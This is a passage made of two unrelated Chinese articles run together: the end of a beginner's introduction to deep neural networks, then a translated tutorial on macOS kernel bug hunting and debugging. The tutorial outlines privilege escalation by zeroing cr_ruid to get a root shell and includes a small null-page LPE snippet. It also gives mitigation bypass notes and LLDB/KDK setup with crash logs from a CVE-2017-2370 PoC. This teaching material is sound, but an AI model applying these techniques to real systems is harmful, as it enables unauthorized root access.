其中，各层内部的圆圈或者说是节点，用于表示神经元；各层之间连线，表示神经元之间的连接。另外，神经网络左边用于接受输入数据的第一层，被称为输入层；而位于右侧的那一层，称为输出层，它是用来输出答案的。同时，介于输入层和输出层之间的网络层，统称为隐藏层。也许神经网络始作俑者怕倒了我们的胃口，所以，就把神经网络的脏活累活都放到中间层，并让外部看不到它们，这样做还有一个好处，即增加神秘感——当计算通过网络传播时，隐藏层简直就像魔术师们大变活人的黑箱。并且，只要网络中的隐藏层达到一个及以上，我们就可以大言不惭地称自己的网络为“深度”神经网络了。
实际上，当我们的数据通过输入层进入深度神经网络时，该层中的神经元将被不同程度的激活。为此，我们可以给每个神经元分配一个数值，用以表示其激活程度——数值越大，表示激活程度越高；数值越小，表示激活程度越低。在下图中，我们通过颜色的深浅来表示神经元的激活程度。
图2 输入数据示意图
当某层中的神经元被激活时，就会在其输出端生成一个信号（我们可以理解为输出了一个数值），并通过相应的连接转发给下一层，所以，我们可以说，某一层的激活程度，是与前一层的激活程度休戚相关的——这恐怕不难理解吧？您难道不想成为“富二代”她/他爹/妈么？
同时，对于同样的输入，不同的神经元的反应可以是不同的：有些神经元的激活程度，可以比其他神经元的更大或更小一些。在此，我们还可以做一个类比，两个同学吃同一盘菜，一个辣得大汗淋漓，一个啥事没有。所以，这一点也不难理解。
此外，神经网络中的连接，对上游神经元的输出信号，是具有某种调节作用的，比如，有的连接可以放大信号，而有的连接则对信号有衰减的作用——对于这一特性，我们可以通过赋予每个连接一个相应的权重来加以表示。这一点，类似于不同材质的导线，具有不同的电阻。因此，网络连接对于下游神经元的行为而言，将起着举足轻重的作用。
图3 前向传播示意图
经过前面各层神经元的处理后，我们就可以在输出层得到相应的处理结果了。就本例来说，数据是一直向前馈送的，也就是说，前面的神经元是不会收到后面神经元的“回赠”的，所以，这种网络被称为前馈网络。熟悉图论的读者可能已经看出来了，前馈网络不就是一种有向无环图吗？！是的，的确如此。
图4 输出结果
## 小结
在本文中，我们首先为读者介绍一些与深度神经网络有关的基本概念，如什么是机器学习，什么是深度神经网络等，在下一篇文章中，我们将给出一个简单的深度学习模型，以便于我们练手。 | 社区文章 |
# 【技术分享】OS X内核大揭秘之基础篇
|
##### 译文声明
本文是翻译文章，文章来源：theori.io
原文地址：<http://theori.io/research/korean/osx-kernel-exploit-1>
译文仅供参考，具体内容表达以及含义原文为准。
译者：[天鸽](http://bobao.360.cn/member/contribute?uid=145812086)
预估稿费：200RMB
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
****
传送门
[【技术分享】OS X内核大揭秘之利用篇](http://bobao.360.cn/learning/detail/4500.html)
**前言**
虽然近年来的许多研究都集中在 Windows 操作系统上，但在安全性方面，iPhone 上的 iOS 和 MacBook 上的 macOS
操作系统也不容忽视。在本系列博客中，我们将探讨 OS X 内核中的 bug 分析和漏洞利用技术。
**
**
**（１）寻找内核bug**
我们可以使用模糊测试和代码审计的方法找到在内核级执行中的 bug，如 **BSD** 、 **Mach** 和 **IOKit** 。
**BSD：** 内核的 BSD 部分提供了大多数系统调用、网络和文件系统的功能。源自 FreeBSD 5。
**Mach：** 来自 CMU 开发的 Mach 3.0 微内核。实现了内核映射和 IPC 等基本服务。用户空间应用程序可以通过 Mach Trap 访问
Mach 服务。
**IOKit：** IOKit 是一个用 C++ 编写的框架，它为 XNU 提供了驱动程序，而 Apple 提供了自己的运行时系统 libkern。
**
**
**（２）初步利用**
任意读／写可用于获取利用此漏洞必要的数据，或者在内核区域中创建任意数据。
由于每个 bug 都有自己独特的数据，所以应该读／写可以用于该漏洞利用的数据。
**
**
**（３）内核权限获取和AAR/AAW**
为了获得 **kernel_task** (pid=0) 权限所需的值，我们先遍历内核中的所有进程以获取 ipc object 和 kernel
task，然后将数据转储到用户空间。
你可以使用它进行内核级的读／写。
**
**
**（４）获得root权限**
由于每个进程都被加载到内核内存中，所以我们可以捕获目标进程，并将下面的进程权限结构的 CR_RUID(Credential Real UID) 更改为 0。
[bsd/sys/ucred.h]
/*
* In-kernel credential structure.
*
* Note that this structure should not be used outside the kernel, nor should
* it or copies of it be exported outside.
*/
struct ucred {
TAILQ_ENTRY(ucred) cr_link; /* never modify this without KAUTH_CRED_HASH_LOCK */
u_long cr_ref; /* reference count */
struct posix_cred {
/*
* The credential hash depends on everything from this point on
* (see kauth_cred_get_hashkey)
*/
uid_t cr_uid; /* effective user id */
uid_t cr_ruid; /* real user id */
uid_t cr_svuid; /* saved user id */
short cr_ngroups; /* number of groups in advisory list */
gid_t cr_groups[NGROUPS]; /* advisory group list */
gid_t cr_rgid; /* real group id */
gid_t cr_svgid; /* saved group id */
uid_t cr_gmuid; /* UID for group membership purposes */
int cr_flags; /* flags on credential */
} cr_posix;
struct label *cr_label; /* MAC label */
/*
* NOTE: If anything else (besides the flags)
* added after the label, you must change
* kauth_cred_find().
*/
struct au_session cr_audit; /* user auditing data */
};
更改完成后，该进程将返回到 root 目录。
于是，如果你运行 system("/bin/bash");，将可以获得 root 权限的 shell。
**
**
**背景知识**
**Kernel Zone**
在 OS X 中，内核使用一个称为 Zone 的结构来分配堆。
Zone 使用 zalloc(zone) 和 kalloc(size) 进行分配，使用 zfree(zone,ptr) 和 kfree(ptr,size)
进行释放。
当调用 kalloc 时，zalloc 在内部被调用。kalloc zone 可以通过 sudo zprint kalloc 找到。
zone metadata：第一页中包含的 zone 信息有 size、page_count、alloc_element、free_element 等。
**OOL(Out-Of-Line) Port**
在 IPC 通信中加载的非内联数据包
它保存在内核中，直到它收到 OOL 的数据。
在做 OS X 内核利用时，可以通过 OOL 的 Leak 进行 fakeport 攻击。
**
**
**OS X 内核漏洞缓解技术**
**LASLR**
引导时内核内存地址随机化
Kext(Kernel Extension) 和内核共享相同的 kslide
旁路攻击：kslide地址计算（kslide=kernel_base – kernel text base)
**DEP**
防止内核中的 RWX 权限
旁路攻击：ROP
**SMEP/SMAP**
Intel CPU 提供的内核内存保护计算
SMEP(Supervisor Mode Execution Protection)：无法在用户地址空间中执行内核代码
SMAP(Supervisor Mode Access Protection)：不允许在用户地址空间中访问内存。仅在支持的 CPU 体系结构上可用。
旁路攻击：启用 ROP 绕过内核
**vm_map_copy()更改**
OS X 10.11 El Capitan 以前的内核中，可以使用溢出漏洞捕获 kdata 指针和 vm_map_copy 的
size，从而读取任意的数据，但这里 vm_map_copy 结构体发生了变化。(osfmk/vm/vm_map.h)
// 更改前
struct vm_map_copy{
int type;
#define VM_MAP_COPY_ENTRY_LIST 1
#define VM_MAP_COPY_OBJECT 2
#define VMMAP_COPY_KERNEL_BUFFER 3
vm_object_offset_t offset;
vm_map_size_t size;
union {
struct vm_map_header hdr;
vm_object_t object;
struct { // <<= Before Change
void *kdata;
vm_size_t kalloc_size;
}c_k;
}c_u;
};
// 更改后
struct vm_map_copy{
int type;
#define VM_MAP_COPY_ENTRY_LIST 1
#define VM_MAP_COPY_OBJECT 2
#define VM_MAP_COPY_KERNEL_BUFFER 3
vm_object_offset_t offset;
vm_map_size_t size;
union{
struct vm_map_header hdr;
vm_object_t object;
uint8_t kdata[0]; // <<= Changed
}
}
然而，在 OS X 10.11 El capitan 的 ipc_kmsg_copyout_ool_descriptor()
中存在一种绕过竞争条件技术的情况。（目前该结构体已被修复）
**
**
**其他**
iOS 和 macOS 的结构和安全性补丁是非常相似的，所以通常可以把它们放在一起。
攻击是棘手的，除非有一个完美的溢出 bug。
许多 bug 很难通过远程攻击实现。（例如，使用safari漏洞获取内核权限的过程）
在早期版本的 OS X 中，通过将数据写入一个空指针，可以相对简单地实现 LPE（参见下面的源代码）。
void null_page(){
sync();
vm_address_t addr=0;
vm_deallocate(mach_task_self(),0x0,0x1000);
vm_allocate(mach_task_self(),&addr,0x1000,0);
uint64_t * np=0;
for(int i=1;i<0x100;i++)
{
np[i] = 0x4141414141414141;
}
}
从 iOS 9.2，macOS 10.11 开始及以后的版本中，重新分配的内存地址很难被预测。（freelist randomization）
在 iOS 10，macOS 10.12 中，vm_map_size(vm_map_copy) 堆利用的漏洞也已经被修补。
**
**
**内核调试**
**简介**
一旦内核崩溃，操作系统将停止工作，因此你必须安装一个或多个虚拟机，并使用 kdp 来进行调试。如果你使用的是 OS X 中的“Parallels
Desktop”，则可以使用恢复分区来安装 OSX 虚拟机。如果你已经有所需的 OSX 版本，则可以通过搜索安装镜像文件或虚拟机。
首先你需要下载内核调试工具包（Kernel Debug Kit），以便于在主机（host）中配置各种调试环境。内核调试工具包允许你使用 LLDB 或 GDB
加载和调试默认情况下不被包含的符号。如果你希望直接分析内核二进制文件并监视 1day 漏洞，则可以使用内核调试工具包在存在漏洞的 OSX 版本上进行分析。
**主机设置**
https://developer.apple.com/download/more/?=Kernel%20Debug%20Kit
它与 OSX 的版本是对应的，因此请根据你正在分析的 1-day 漏洞版本进行下载。安装并运行下载的 dmg 文件时，调试工具包存在于
/Library/Developer/KDKs/ 路径下。
在 OSX 上运行的内核二进制文件存在于路径 /System/Library/Kernels/kernel 下。你可以将二进制文件 attach
到调试器上，通过配置调试工具包，即使主机和客户机的 OSX 版本不同，你也可以进行调试。
现在，使用 LLDB 完成对主机的配置。
如果你将二进制文件加载到 LLDB 时看到了上面的报错信息。这很容易解决，如下所示。
(lldb) command script import "/Library/Developer/KDKs/KDK_10.12.1_16B2657.kdk/System/Library/Kernels/kernel.dSYM/Contents/Resources/DWARF/../Python/kernel.py"
songsangjun-ui-MacBook-Pro:~ s0ngsari$ echo "settings set target.load-script-from-symbol-file true" > ~/.lldbinit
请注意主机和客户机都必须禁用 System Integrity Protection(SIP)。
你已经完成了对主机环境的配置，现在再对客户机进行配置就可以调试内核了。
**客户机设置**
OSX 可以使用 nvram 设置引导参数（boot-args）。
$ nvram boot-args
boot-args 是作为 OS 在启动时设置的参数。但我们使用这些参数是为了记录调试所需的中断和日志信息。boot-args 有很多参数，这里我们先设置
debug。可以参考下面的图表。
调试内核时，给 debug 参数赋值 0x144。DB_NMI 标志允许调试器使用 NMI 中断 attach 到调试对象上。你可以设置如下所示的选项。
$ sudo nvram boot-args="debug=0x144 -v"
DB_LOG_PI_SCRN
DB_ARP
DB_NMI
Boot Verbose mode
$ sudo reboot
之后，boot-args 被设置并产生一个 NMI 中断，从而允许调试器调试内核。
有时候即使 NMI 已经在调试对象中给出，也不能进行调试，那么需要在调试器中添加 arp 表。
$ arp -s <DebuggeeIP> <DebuggeeMac>
这样就完成了主机和客户机的配置，可以继续下面的调试了。
**attach 到调试器**
作为本文的例子，我们将调试的 1day 漏洞是 CVE-2017-2370。
$ vi test.c
$ clang -o test test.c
在客户机中编译 PoC 并产生一个 NMI，NMI 可以通过命令 Command + Alt + Control + Shift + Esc
产生。一旦产生了 NMI，操作系统将被安全地停止运行。
在调试器中，你可以使用 kdp-remote 进行远程调试，首先打开 KDK 的内核二进制文件。
songsangjun-ui-MacBook-Pro:~ s0ngsari$ lldb /Library/Developer/KDKs/KDK_10.12.1_16B2657.kdk/System/Library/Kernels/kernel
(lldb) target create "/Library/Developer/KDKs/KDK_10.12.1_16B2657.kdk/System/Library/Kernels/kernel"
Loading kernel debugging from /Library/Developer/KDKs/KDK_10.12.1_16B2657.kdk/System/Library/Kernels/kernel.dSYM/Contents/Resources/DWARF/../Python/kernel.py
LLDB version lldb-350.0.21.9
settings set target.process.python-os-plugin-path "/Library/Developer/KDKs/KDK_10.12.1_16B2657.kdk/System/Library/Kernels/kernel.dSYM/Contents/Resources/DWARF/../Python/lldbmacros/core/operating_system.py"
settings set target.trap-handler-names hndl_allintrs hndl_alltraps trap_from_kernel hndl_double_fault hndl_machine_check _fleh_prefabt _ExceptionVectorsBase _ExceptionVectorsTable _fleh_undef _fleh_dataabt _fleh_irq _fleh_decirq _fleh_fiq_generic _fleh_dec
command script import "/Library/Developer/KDKs/KDK_10.12.1_16B2657.kdk/System/Library/Kernels/kernel.dSYM/Contents/Resources/DWARF/../Python/lldbmacros/xnu.py"
xnu debug macros loaded successfully. Run showlldbtypesummaries to enable type summaries.
Current executable set to '/Library/Developer/KDKs/KDK_10.12.1_16B2657.kdk/System/Library/Kernels/kernel' (x86_64).
(lldb)
如果没有报错，则使用 kdp-remote 命令链接到远程调试器。
(lldb) kdp-remote <debuggeeIP>
Version: Darwin Kernel Version 16.1.0: Wed Oct 19 20:31:56 PDT 2016; root:xnu-3789.21.4~4/RELEASE_X86_64; UUID=75CA1C4D-7BF4-321B-B544-D8F1B6D60EF8; stext=0xffffff8014200000
Kernel UUID: 75CA1C4D-7BF4-321B-B544-D8F1B6D60EF8
Load Address: 0xffffff8014200000
Kernel slid 0x14000000 in memory.
Loaded kernel file /Library/Developer/KDKs/KDK_10.12.1_16B2657.kdk/System/Library/Kernels/kernel
Loading 94 kext modules warning: Can't find binary/dSYM for com.apple.kec.corecrypto (809FEC94-017C-307A-B099-A01EFF5485FB)
.warning: Can't find binary/dSYM for com.apple.kec.pthread (36567317-B854-3157-ABF3-CEAD0A3770BB)
.warning: Can't find binary/dSYM for com.apple.kec.Libm (51D82C5F-0248-334D-ADC6-5861BBB83C97)
.warning: Can't find binary/dSYM for com.apple.iokit.IOACPIFamily (4F7FB6AD-2498-3F71-827C-ED7AA4BF2511)
.Target arch: x86_64
Instantiating threads completely from saved state in memory.
.warning: Can't find binary/dSYM for com.apple.driver.AppleACPIPlatform (249D7BA8-3FD5-3207-A482-0605CB898037)
.warning: Can't find binary/dSYM for com.apple.driver.AppleFDEKeyStore (EA5D0966-E8EA-337A-98EB-195806E8F723)
.warning: Can't find binary/dSYM for com.apple.iokit.IOReportFamily (B14DC3D3-7250-3DA3-BF50-C666EBEDAF4C)
.Target arch: x86_64
Instantiating threads completely from saved state in memory.
.warning: Can't find binary/dSYM for com.apple.driver.DiskImages (05A729EF-20B8-3254-8F13-42DF42E0544B)
.warning: Can't find binary/dSYM for com.apple.driver.AppleBusPowerController (DB526B45-1A45-3A81-A0C1-57F826CADEDF)
.Target arch: x86_64
Instantiating threads completely from saved state in memory.
.warning: Can't find binary/dSYM for com.apple.driver.KernelRelayHost (3B58E6F0-DE92-3289-9D3B-3BF12208585F)
.warning: Can't find binary/dSYM for com.apple.driver.AppleCredentialManager (54677B39-44B3-3AAA-BBEC-D78D0B5CC1A7)
.warning: Can't find binary/dSYM for com.apple.driver.AppleMobileFileIntegrity (0EFA4D2C-2271-3C43-B777-17D05716144A)
.warning: Can't find binary/dSYM for com.apple.driver.AppleKeyStore (75515493-6D25-39F7-8F0B-B08B505CAB74)
.warning: Can't find binary/dSYM for com.apple.security.TMSafetyNet (1CB512A3-24BD-344A-BFB4-44A61F27AB03)
.warning: Can't find binary/dSYM for com.apple.kext.AppleMatch (3B280DAB-903F-33DC-8110-525A1154B11E)
.warning: Can't find binary/dSYM for com.apple.security.sandbox (32039FC4-CA9B-3B74-B326-A2BF5CFE45E1)
.warning: Can't find binary/dSYM for com.apple.security.quarantine (EC92F0F9-694E-3E22-8B2C-4A071D20C6BA)
.warning: Can't find binary/dSYM for com.apple.nke.applicationfirewall (2A0DC0EF-655C-3D4B-93FD-3AED72BEBBDC)
.warning: Can't find binary/dSYM for com.apple.driver.AppleAPIC (BC2E6D01-BCBB-3525-BF38-BF99C3F1EC46)
.warning: Can't find binary/dSYM for com.apple.driver.AppleSMBIOS (9BB02681-4B47-3592-AD62-71FB0BF56965)
.warning: Can't find binary/dSYM for com.apple.driver.AppleRTC (3FD1BCF4-8AFC-3CE6-A36E-26410544AD14)
.warning: Can't find binary/dSYM for com.apple.iokit.IOSMBusFamily (185F0EBF-0262-3370-BD47-8FE4C8AA726E)
.warning: Can't find binary/dSYM for com.apple.driver.AppleACPIEC (BC227AE1-3CD5-3938-9C8C-009F1A966FBE)
.warning: Can't find binary/dSYM for com.apple.driver.AppleHPET (2CFB49B8-4CC2-320B-9C6E-99646DFD8571)
.Target arch: x86_64
Instantiating threads completely from saved state in memory.
.warning: Can't find binary/dSYM for com.apple.driver.AppleACPIButtons (4D5E51D6-8A6B-3B6A-A8F2-472D56C9D0C3)
.warning: Can't find binary/dSYM for com.apple.driver.AppleSmartBatteryManager (31670664-0EF0-39B5-A13F-15B8F9EC1283)
.warning: Can't find binary/dSYM for com.apple.driver.AppleEFIRuntime (6B7A5B9A-C313-3F7F-B6E2-60EE54593BC8)
.warning: Can't find binary/dSYM for com.apple.driver.AppleEFINVRAM (6F4404D6-8625-35CA-AEB6-6ECD7B64FA52)
.Target arch: x86_64
Instantiating threads completely from saved state in memory.
.warning: Can't find binary/dSYM for com.apple.driver.usb.AppleUSBHostPacketFilter (9888F9CD-B7EE-3A9D-8530-6FA4C167B26C)
.warning: Can't find binary/dSYM for com.apple.driver.usb.AppleUSBEHCI (BF6EF9A2-F090-3094-B3FA-F34351D946CF)
.warning: Can't find binary/dSYM for com.apple.driver.usb.AppleUSBUHCI (4EF43593-FC11-31E6-8B27-E7A6B5703C15)
.warning: Can't find binary/dSYM for com.apple.driver.usb.AppleUSBUHCIPCI (4EC90565-DB48-3190-8608-1F6DA30B8691)
.warning: Can't find binary/dSYM for com.apple.driver.usb.AppleUSBXHCI (E5F9850E-A1A1-305F-854D-48B46C08B2EC)
.warning: Can't find binary/dSYM for com.apple.driver.usb.AppleUSBXHCIPCI (B4287428-23D9-3547-93B5-2FEB73A02EA6)
.warning: Can't find binary/dSYM for com.apple.driver.usb.AppleUSBEHCIPCI (4FCE62CA-0477-34A2-9564-86F807CDBD4D)
.warning: Can't find binary/dSYM for com.apple.iokit.IOATAFamily (BC25A382-3DA0-33C7-93C5-E8A823B50F98)
.warning: Can't find binary/dSYM for com.apple.driver.AppleIntelPIIXATA (BDC5E432-B04E-3ACF-A213-672128140381)
.warning: Can't find binary/dSYM for com.apple.iokit.IOAHCIFamily (5C275B66-A173-3D92-853A-44FC35D45FFC)
.warning: Can't find binary/dSYM for com.apple.driver.AppleAHCIPort (BE72151C-73BE-35B7-8C31-74F49E4C5E98)
.Target arch: x86_64
Instantiating threads completely from saved state in memory.
.warning: Can't find binary/dSYM for com.apple.driver.AppleIntel8254XEthernet (34B30414-098D-3D22-AAB5-1A754D0647C6)
.warning: Can't find binary/dSYM for com.apple.iokit.IOAHCIBlockStorage (C449634B-8121-3BFB-972D-966847C4321F)
.Target arch: x86_64
Instantiating threads completely from saved state in memory.
.warning: Can't find binary/dSYM for com.apple.iokit.IOAHCISerialATAPI (681FA1E2-E3DE-3FEB-ACA7-16FC2B9078A6)
.warning: Can't find binary/dSYM for com.apple.filesystems.hfs.encodings.kext (68A8D6C1-CDCA-371C-970B-325BF2E7ECAB)
.Target arch: x86_64
Instantiating threads completely from saved state in memory.
.Target arch: x86_64
Instantiating threads completely from saved state in memory.
.Target arch: x86_64
Instantiating threads completely from saved state in memory.
.Target arch: x86_64
Instantiating threads completely from saved state in memory.
.Target arch: x86_64
Instantiating threads completely from saved state in memory.
.warning: Can't find binary/dSYM for com.apple.filesystems.hfs.kext (6C6C4A98-1534-3C52-B006-00FBC479233E)
.warning: Can't find binary/dSYM for com.apple.BootCache (C38789F4-9226-303C-99BE-3B8EAF8EC5C2)
.warning: Can't find binary/dSYM for com.apple.AppleFSCompression.AppleFSCompressionTypeZlib (9B32DDE9-151F-31A1-90E9-3CEB2C7BE27C)
.warning: Can't find binary/dSYM for com.apple.AppleFSCompression.AppleFSCompressionTypeDataless (C6F882D7-C35C-3963-A2FA-10033FF40107)
.warning: Can't find binary/dSYM for com.apple.driver.usb.AppleUSBHostCompositeDevice (30502C8D-F4B2-345F-B8F0-F8C54CAD7F46)
.warning: Can't find binary/dSYM for com.apple.driver.usb.networking (74394A72-1E87-363E-8CFD-182BD8C9362E)
.warning: Can't find binary/dSYM for com.apple.driver.usb.AppleUSBHub (F7BC6869-E4BA-3291-B7EA-BF28A0ABEF4A)
.warning: Can't find binary/dSYM for com.apple.driver.usb.IOUSBHostHIDDevice (0548123A-013B-3C74-86A8-33DF73E9CBBB)
.warning: Can't find binary/dSYM for com.apple.driver.AppleHIDKeyboard (664B787F-6DE5-3211-9081-E434055A550B)
.Target arch: x86_64
Instantiating threads completely from saved state in memory.
.warning: Can't find binary/dSYM for com.parallels.kext.video (5520E5F4-AC7C-9446-6088-5D8CAF25478D)
.warning: Can't find binary/dSYM for com.parallels.driver.AppleIntelAC97Controller (705C3A56-06CE-E995-5A75-618C5EF3D45D)
.warning: Can't find binary/dSYM for com.apple.vecLib.kext (C0ABF85C-CA30-3F02-9E1E-06F3BA5047A8)
.Target arch: x86_64
Instantiating threads completely from saved state in memory.
.warning: Can't find binary/dSYM for com.apple.iokit.IOSlowAdaptiveClockingFamily (F026208D-CC0C-3599-B303-9196904A584E)
.warning: Can't find binary/dSYM for com.apple.driver.AppleIntelSlowAdaptiveClocking (6FE984DD-A1FE-309E-83CF-B346989A6F17)
.warning: Can't find binary/dSYM for com.apple.driver.IOPlatformPluginFamily (087648A2-8A44-3095-AEC7-44A872A46205)
.warning: Can't find binary/dSYM for com.apple.driver.IOPlatformPluginLegacy (9156271B-C61E-3B40-B5B6-102369F12A8B)
.warning: Can't find binary/dSYM for com.apple.driver.AppleSMC (969D80B2-E714-3145-95B0-F61627E0EE4D)
.warning: Can't find binary/dSYM for com.apple.driver.ACPI_SMC_PlatformPlugin (7224B682-B40F-3A4A-BCA0-82727D251ECB)
.warning: Can't find binary/dSYM for com.parallels.kext.tg (09C02F97-D104-80F1-2A96-6BEF8A2F6967)
.warning: Can't find binary/dSYM for com.apple.driver.AppleSMBusController (4DAA381E-3690-3E94-8025-DFB34F714094)
.warning: Can't find binary/dSYM for com.apple.driver.AppleMCCSControl (102DD5D9-2DD5-3BCB-B5C0-BE08E1049CD6)
.warning: Can't find binary/dSYM for com.apple.driver.AppleUpstreamUserClient (F39509A4-191C-35DA-B7D9-08F95E5AB8BC)
.warning: Can't find binary/dSYM for com.apple.driver.AppleHV (39AC9B9B-7B20-322F-82F0-044B3CC08D43)
.warning: Can't find binary/dSYM for com.apple.driver.AppleSSE (907BB577-46DF-3C86-9034-758B61AD054D)
.warning: Can't find binary/dSYM for com.apple.Dont_Steal_Mac_OS_X (B97F871A-44FD-3EA4-BC46-8FD682118C79)
.warning: Can't find binary/dSYM for com.apple.iokit.IOBluetoothFamily (794ACDDD-2B46-3BF0-94E9-4FD7C109A427)
.Target arch: x86_64
Instantiating threads completely from saved state in memory.
.warning: Can't find binary/dSYM for com.apple.iokit.IOBluetoothSerialManager (6F68B8CF-6543-328E-AF57-DD250412CF02)
.warning: Can't find binary/dSYM for com.apple.iokit.IOSurface (D3B2D208-487C-3166-9F7D-D6159AABC428)
.warning: Can't find binary/dSYM for com.apple.iokit.IOUserEthernet (5EE448BD-95EC-35AD-B7FC-A1237E4BB346)
.warning: Can't find binary/dSYM for com.apple.driver.pmtelemetry (F46D019B-17FF-3CD5-A093-0894B81C1404)
.warning: Can't find binary/dSYM for com.parallels.driver.AppleIntelAC97Audio (F8F3B21C-958B-BB10-E13C-42CA34BF6815)
.warning: Can't find binary/dSYM for com.apple.driver.AppleOSXWatchdog (757A8B72-2A1A-32BA-99EC-6D802DE6E91F)
.warning: Can't find binary/dSYM for com.apple.kext.triggers (4E564246-8804-3673-B440-606AD360A3BB)
.warning: Can't find binary/dSYM for com.apple.filesystems.autofs (AA36D92F-D92B-3102-BAE3-F86A0A298143)
.warning: Can't find binary/dSYM for com.apple.filesystems.smbfs (42EF3BC8-5041-3E94-BC74-9D5906694E3A)
.warning: Can't find binary/dSYM for com.apple.driver.usb.cdc (6CB80B6B-9071-38ED-9A4B-635ABF20A429)
.Target arch: x86_64
Instantiating threads completely from saved state in memory.
done.
Target arch: x86_64
Instantiating threads completely from saved state in memory.
kernel was compiled with optimization - stepping may behave oddly; variables may not be available.
Process 1 stopped
* thread #2: tid = 0x16cc, 0xffffff801440bb4e kernel`Debugger [inlined] hw_atomic_sub(delt=1) at locks.c:1513, name = '0xffffff801c791028', queue = '0x0', stop reason = signal SIGSTOP
frame #0: 0xffffff801440bb4e kernel`Debugger [inlined] hw_atomic_sub(delt=1) at locks.c:1513 [opt]
(lldb)
如果正确地捕获到了内核，就可以通过恢复调试对象进程并运行 PoC 来检查是否会产生崩溃。
(lldb) c
Process 1 resuming
(lldb) Unloading 1 kext modules . done.
Process 1 stopped
* thread #4: tid = 0x1af6, 0xffffff8014751a8c kernel`fp_lookup(p=0xffffff801ebec780, fd=1, resultfp=0xffffff806eb6bf20, locked=0) + 92 at kern_descrip.c:3879, name = '0xffffff801c09a9a8', queue = '0x0', stop reason = EXC_BAD_INSTRUCTION (code=13, subcode=0x0)
frame #0: 0xffffff8014751a8c kernel`fp_lookup(p=0xffffff801ebec780, fd=1, resultfp=0xffffff806eb6bf20, locked=0) + 92 at kern_descrip.c:3879 [opt]
(lldb) register read
General Purpose Registers:
rax = 0x4141414141414141
rbx = 0x0000000000000001
rcx = 0x0000000000000001
rdx = 0xffffff8020d0e800
rdi = 0xffffff801ebec848
rsi = 0x0000000000000001
rbp = 0xffffff806eb6bef0
rsp = 0xffffff806eb6bec0
r8 = 0x0000000000000000
r9 = 0x00007fffda6afa50
r10 = 0x000000000000000a
r11 = 0x0000000000000246
r12 = 0xffffff801ebec780
r13 = 0xffffff801ec3e4f8
r14 = 0x0000000000000000
r15 = 0xffffff806eb6bf20
rip = 0xffffff8014751a8c kernel`fp_lookup + 92 at kern_descrip.c:3879
rflags = 0x0000000000010246
cs = 0x0000000000000008
fs = 0x0000000000000000
gs = 0x0000000000000000
(lldb)
LLDB 和 GDB 的命令有所不同，最好将它们分开学习。或者使用一个名为 kgmacros 的脚本，总的来说使用 GDB 进行调试也不错。
**记录堆日志**
运行 Poc 并设置断点来跟踪堆是很困难的。但是，你可以通过上面说到的 boot-args 来跟踪堆。这可以跟踪 OSX 堆的所覆盖的 zone。
$ sudo nvram boot-args="debug=0x144 -v -zc zlog1=kalloc.128 zlog2=kalloc.256"
与上面的命令一样，使用 -zc zlog1=zone，然后重启。最重要的是知道 Poc 所使用的 zone。我们只跟踪所选择的
zone，而不是全部，所以如果你想跟踪起来比较轻松，就只传递一个 zone 到 boot-args 中。
使用 zlog 时
(lldb) bt
* thread #2: tid = 0x0cb5, 0xffffff801200bb4e kernel`Debugger [inlined] hw_atomic_sub(delt=1) at locks.c:1513, name = '0xffffff8019752980', queue = '0x0', stop reason = signal SIGSTOP
* frame #0: 0xffffff801200bb4e kernel`Debugger [inlined] hw_atomic_sub(delt=1) at locks.c:1513 [opt]
frame #1: 0xffffff801200bb4e kernel`Debugger(message=<unavailable>) + 910 at model_dep.c:1025 [opt]
frame #2: 0xffffff8011ef368c kernel`panic(str=""a freed zone element has been modified in zone %s: expected %p but found %p, bits changed %p, at offset %d of %d in element %p, cookies %p %p"@/Library/Caches/com.apple.xbs/Sources/xnu/xnu-3789.21.4/osfmk/kern/zalloc.c:651") + 236 at debug.c:458 [opt]
frame #3: 0xffffff8011f3f5c0 kernel`backup_ptr_mismatch_panic [inlined] zone_element_was_modified_panic(offset=0) + 800 at zalloc.c:642 [opt]
frame #4: 0xffffff8011f3f559 kernel`backup_ptr_mismatch_panic(zone=<unavailable>, element=<unavailable>, primary=4702111234474983745, backup=<unavailable>) + 697 at zalloc.c:710 [opt]
frame #5: 0xffffff8011f3e739 kernel`try_alloc_from_zone(zone=<unavailable>, check_poison=<unavailable>) + 521 at zalloc.c:832 [opt]
frame #6: 0xffffff8011f3d174 kernel`zalloc_internal(zone=<unavailable>, canblock=1, nopagewait=0) + 484 at zalloc.c:2284 [opt]
frame #7: 0xffffff8011f84580 kernel`vm_map_copyin_internal + 51 at vm_map.c:9428 [opt]
frame #8: 0xffffff8011f8454d kernel`vm_map_copyin_internal(src_map=<unavailable>, src_addr=140351705630208, len=3240, flags=<unavailable>, copy_result=<unavailable>) + 253 at vm_map.c:10279 [opt]
frame #9: 0xffffff8011ed7629 kernel`ipc_kmsg_copyin_ool_descriptor [inlined] vm_map_copyin_common(src_map=<unavailable>, src_destroy=<unavailable>, copy_result=0xffffff8071adbe40, use_maxprot=0) + 201 at vm_map.c:10187 [opt]
frame #10: 0xffffff8011ed7616 kernel`ipc_kmsg_copyin_ool_descriptor(dsc=0xffffff8018874c98, user_dsc=<unavailable>, is_64bit=<unavailable>, paddr=<unavailable>, copy=0xffffff8071adbe40, space_needed=<unavailable>, map=<unavailable>, mr=<unavailable>) + 182 at ipc_kmsg.c:2701 [opt]
frame #11: 0xffffff8011ed7c25 kernel`ipc_kmsg_copyin_body(kmsg=0xffffff8018874c00, space=0xffffff8018925b40, map=0xffffff801c0e9e08) + 613 at ipc_kmsg.c:3035 [opt]
frame #12: 0xffffff8011ee992f kernel`mach_msg_overwrite_trap(args=<unavailable>) + 287 at mach_msg.c:548 [opt]
frame #13: 0xffffff8011ff26ae kernel`mach_call_munger64(state=0xffffff8018dd12c0) + 430 at bsd_i386.c:562 [opt]
frame #14: 0xffffff8011ea5f66 kernel`hndl_mach_scall64 + 22
未使用 zlog 时
(lldb) bt
* thread #2: tid = 0x13ab, 0xffffff8015c0bb4e kernel`Debugger [inlined] hw_atomic_sub(delt=1) at locks.c:1513, name = '0xffffff80200f4288', queue = '0x0', stop reason = signal SIGSTOP
* frame #0: 0xffffff8015c0bb4e kernel`Debugger [inlined] hw_atomic_sub(delt=1) at locks.c:1513 [opt]
frame #1: 0xffffff8015c0bb4e kernel`Debugger(message=<unavailable>) + 910 at model_dep.c:1025 [opt]
frame #2: 0xffffff8015af368c kernel`panic(str=""Invalid queue element linkage for %p: next %p next->prev %p prev %p prev->next %p"@/Library/Caches/com.apple.xbs/Sources/xnu/xnu-3789.21.4/osfmk/kern/queue.h:245") + 236 at debug.c:458 [opt]
